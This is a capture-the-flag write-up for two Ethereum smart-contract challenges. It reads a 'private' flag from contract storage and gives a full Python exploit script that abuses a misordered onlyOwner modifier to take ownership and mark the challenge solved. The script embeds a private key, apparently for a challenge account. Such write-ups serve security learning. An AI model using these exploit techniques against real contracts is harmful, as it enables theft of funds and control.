---
# System prepended metadata

title: CTF collection

---

# CTF collection

## web3 01

### method 1

**ABI:**

```python
[
	{
		"inputs": [],
		"stateMutability": "nonpayable",
		"type": "constructor"
	},
	{
		"inputs": [
			{
				"internalType": "address",
				"name": "_owner",
				"type": "address"
			}
		],
		"name": "changeOwner",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "opensafe",
		"outputs": [
			{
				"internalType": "string",
				"name": "",
				"type": "string"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "owner",
		"outputs": [
			{
				"internalType": "address",
				"name": "",
				"type": "address"
			}
		],
		"stateMutability": "view",
		"type": "function"
	}
]
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity >= 0.7.0 < 0.9.0;

contract Safe {
    address public owner;
    string private flag =  "CTF{FAKE_FLAG}";

    constructor() {
        owner = msg.sender;
    }

    function opensafe() public view returns (string memory) {
        if(owner == msg.sender){
            return flag;
        }
        else {
            return "Your not owner!!";
        }
    }

    function changeOwner(address _owner) public {
        require(owner == msg.sender, "Your not owner!!");
        owner = _owner;
    }
}
```

- you can see opensafe can call with any user with if owner == msg.sender we will receive flag
- call owner beacause it is public `address public owner;`
- call opensafe with owner_address and get flag


### method 2

```javascript
const ethers = require('ethers');

// Connect to the Sepolia network via Infura
const provider = new ethers.providers.JsonRpcProvider('https://sepolia.infura.io/v3/replace');

const contractAddress = '0x5e992854Bd912ae170b7b5b8a64323e4e5E0feAF';

async function readStorageSlot(slot) {
    try {
        const data = await provider.getStorageAt(contractAddress, slot);
        console.log(`Data at slot ${slot}:`, data);

        // Check if the string is stored in the same slot or in another location
        const lengthHex = data.slice(64);
        const length = parseInt(lengthHex, 16);
        console.log('Length:', length);

        if (length > 31) {
            // The string is stored in a different storage slot
            const hashSlot = ethers.utils.keccak256(ethers.utils.defaultAbiCoder.encode(["uint256"], [slot]));
            let stringData = '';
            let currentSlot = ethers.BigNumber.from(hashSlot);

            for (let i = 0; i < Math.ceil(length / 32); i++) {
                const chunk = await provider.getStorageAt(contractAddress, currentSlot);
                stringData += chunk.slice(2); // Remove the "0x" prefix
                currentSlot = currentSlot.add(1);
            }

            const flag = ethers.utils.toUtf8String('0x' + stringData.slice(0, length * 2));
            console.log('Flag:', flag);
        } else {
            // The string is stored in the same storage slot
            const stringData = data.slice(0, length * 2);
            const flag = ethers.utils.toUtf8String('0x' + stringData);
            console.log('Flag:', flag);
        }
    } catch (error) {
        console.error('Error reading storage slot:', error);
    }
}

// Read the storage slot 1 for the flag variable
readStorageSlot(1);
```


## web3 02

**ABI:**

```python
[
	{
		"inputs": [],
		"stateMutability": "nonpayable",
		"type": "constructor"
	},
	{
		"inputs": [
			{
				"internalType": "address",
				"name": "target",
				"type": "address"
			},
			{
				"internalType": "bytes",
				"name": "data",
				"type": "bytes"
			}
		],
		"name": "adminCall",
		"outputs": [
			{
				"internalType": "bytes",
				"name": "",
				"type": "bytes"
			}
		],
		"stateMutability": "payable",
		"type": "function"
	},
	{
		"inputs": [
			{
				"internalType": "address",
				"name": "",
				"type": "address"
			}
		],
		"name": "excellentMember",
		"outputs": [
			{
				"internalType": "bool",
				"name": "",
				"type": "bool"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [
			{
				"internalType": "uint256",
				"name": "",
				"type": "uint256"
			}
		],
		"name": "excellentMembers",
		"outputs": [
			{
				"internalType": "address",
				"name": "",
				"type": "address"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [
			{
				"internalType": "address",
				"name": "",
				"type": "address"
			}
		],
		"name": "join",
		"outputs": [
			{
				"internalType": "bool",
				"name": "",
				"type": "bool"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "owner",
		"outputs": [
			{
				"internalType": "address",
				"name": "",
				"type": "address"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [
			{
				"internalType": "address",
				"name": "member",
				"type": "address"
			}
		],
		"name": "registryExcellentMember",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "renounceOwnership",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	},
	{
		"inputs": [
			{
				"internalType": "bool",
				"name": "opinion",
				"type": "bool"
			}
		],
		"name": "setJoin",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "solve",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	},
	{
		"inputs": [],
		"name": "solved",
		"outputs": [
			{
				"internalType": "bool",
				"name": "",
				"type": "bool"
			}
		],
		"stateMutability": "view",
		"type": "function"
	},
	{
		"inputs": [
			{
				"internalType": "address",
				"name": "newOwner",
				"type": "address"
			}
		],
		"name": "transferOwnership",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	}
]
```

- we can see 2 class define for this smart contract

```solidity
Ownable.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

abstract contract Ownable {
    address public owner;
    constructor(address initialOwner) {
        owner = initialOwner;
    }

    modifier onlyOwner() {
        _;
        require(owner == msg.sender, "Only owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        owner = newOwner;
    }
}
```

```solidity
ExcellentMember.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "./Ownable.sol";

contract ExcellentMember is Ownable {
    bool public solved;

    mapping(address => bool) public join;
    mapping(address => bool) public excellentMember;

    address[] public excellentMembers;

    constructor() Ownable(msg.sender) {
        excellentMember[address(this)] = true;
        excellentMembers.push(address(this));    
    }

    function adminCall(address target, bytes memory data) external payable onlyOwner returns (bytes memory) {
        (bool success, bytes memory returnData) = target.call{value: msg.value}(data);
        require(success, "Fail Low-Level call");
        return returnData;
    }

    function setJoin(bool opinion) external {
        join[msg.sender] = opinion;
    }

    function registryExcellentMember(address member) external {
        require(!excellentMember[member], "Already excellent member");
        require(join[member], "Set join");
        require(excellentMember[msg.sender] == true, "Only excellent member");
        excellentMember[member] = true;
        excellentMembers.push(member);
    }

    function solve() external {
        if (excellentMember[tx.origin] == true) {
            solved = true;
        }
    }
}
```

*Ownable.sol*

- in abstract class Ownable we can see public attribute `solved` -> if true we can access flag

- contructor to init new object owner is `initialOwner` value address

- modifier is middleware to check only owner can access method

- renounceOwnership can call only by owner to setter owner is adress[0]

- transferOwnership can call only by owner to setter new ownership for contract


*ExcellentMember.sol*

- impliment abstract Ownable

- attribute solved can access(call) public

- attribute mapping join we can call with join(address) -> we can check user_address is join

- attribute mapping excellentMember we can call tho check user_address is excellent mem

- attribute excellentMembers can access is array with type address

- contructor Ownable with paramater `msg.sender` -> this address will be excellentMember with this address and push this user_address to array address

- method adminCall only can call with owner can call any method from any address value

- setJoin can call by every user -> set joined

- registryExcellentMember can call with any user to nominate user to be excellentMember if user is join

- metho solve can call check if curren user is excellentMember `solved = true` -> we will access flag


### detect

- we can see middleware:

```solidity
modifier onlyOwner() {
        _;
        require(owner == msg.sender, "Only owner");
    }
```

- placeholder is before the line check -> all of method `payable onlyOwner` only owner only possible deposit/withdrawal ETH

- we can call `function transferOwnership(address newOwner) public virtual onlyOwner` to control owner
- after that, we call `adminCall` to call `registryExcellentMember` by target to become excellentMembers
- call soved to set solved is true
- access flag in url/flag

### exploit

```python
from web3 import Web3

level_contract_address = "0x7577b6edB14bfDf0360E85f0Dd6b97E0EC18DB03"
user_private_key = "0x5a5c11b7f0cbf85eae25abcc6180c0a91e4270bdcbdfa870b66715526745f69e"
user_address = "0x000Bae0eb423ba30268874A21C2f8B94c62192b5"

RPC_URL = "RPC_URL/fc763a96d380/rpc"
w3 = Web3(Web3.HTTPProvider(RPC_URL))

abi = [  
    { "inputs": [], "stateMutability": "nonpayable", "type": "constructor" },
    { "inputs": [ { "internalType": "address", "name": "target", "type": "address" }, { "internalType": "bytes", "name": "data", "type": "bytes" } ], "name": "adminCall", "outputs": [ { "internalType": "bytes", "name": "", "type": "bytes" } ], "stateMutability": "payable", "type": "function" },
    { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "excellentMember", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" },
    { "inputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "name": "excellentMembers", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" },
    { "inputs": [ { "internalType": "address", "name": "", "type": "address" } ], "name": "join", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" },
    { "inputs": [], "name": "owner", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" },
    { "inputs": [ { "internalType": "address", "name": "member", "type": "address" } ], "name": "registryExcellentMember", "outputs": [], "stateMutability": "nonpayable", "type": "function" },
    { "inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" },
    { "inputs": [ { "internalType": "bool", "name": "opinion", "type": "bool" } ], "name": "setJoin", "outputs": [], "stateMutability": "nonpayable", "type": "function" },
    { "inputs": [], "name": "solve", "outputs": [], "stateMutability": "nonpayable", "type": "function" },
    { "inputs": [], "name": "solved", "outputs": [ { "internalType": "bool", "name": "", "type": "bool" } ], "stateMutability": "view", "type": "function" },
    { "inputs": [ { "internalType": "address", "name": "newOwner", "type": "address" } ], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function" }
]

account = w3.eth.account.from_key(user_private_key)
contract = w3.eth.contract(address=level_contract_address, abi=abi)

nonce = w3.eth.get_transaction_count(user_address)
tx = contract.functions.transferOwnership(user_address).build_transaction({
    'chainId': w3.eth.chain_id,
    'gas': 200000,
    'gasPrice': w3.eth.gas_price,
    'nonce': nonce,
    'from': user_address
})
signed_tx = w3.eth.account.sign_transaction(tx, user_private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"TransferOwnership transaction completed: {receipt.transactionHash.hex()}")

nonce = w3.eth.get_transaction_count(user_address)
tx = contract.functions.setJoin(True).build_transaction({
    'chainId': w3.eth.chain_id,
    'gas': 200000,
    'gasPrice': w3.eth.gas_price,
    'nonce': nonce,
    'from': user_address
})
signed_tx = w3.eth.account.sign_transaction(tx, user_private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"SetJoin transaction completed: {receipt.transactionHash.hex()}")

excellent_member = contract.functions.excellentMembers(0).call()
print(f"First excellent member: {excellent_member}")

function_selector = w3.keccak(text="registryExcellentMember(address)")[0:4]
padded_address = user_address[2:].lower().zfill(64)
data = function_selector + bytes.fromhex(padded_address)

nonce = w3.eth.get_transaction_count(user_address)
tx = contract.functions.adminCall(level_contract_address, data).build_transaction({
    'chainId': w3.eth.chain_id,
    'gas': 300000,
    'gasPrice': w3.eth.gas_price,
    'nonce': nonce,
    'from': user_address
})
signed_tx = w3.eth.account.sign_transaction(tx, user_private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"AdminCall transaction completed: {receipt.transactionHash.hex()}")

is_excellent = contract.functions.excellentMember(user_address).call()
print(f"Is excellent member: {is_excellent}")

nonce = w3.eth.get_transaction_count(user_address)
tx = contract.functions.solve().build_transaction({
    'chainId': w3.eth.chain_id,
    'gas': 200000,
    'gasPrice': w3.eth.gas_price,
    'nonce': nonce,
    'from': user_address
})
signed_tx = w3.eth.account.sign_transaction(tx, user_private_key)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print(f"Solve transaction completed: {receipt.transactionHash.hex()}")

solved = contract.functions.solved().call()
print(f"Challenge solved: {solved}")
```

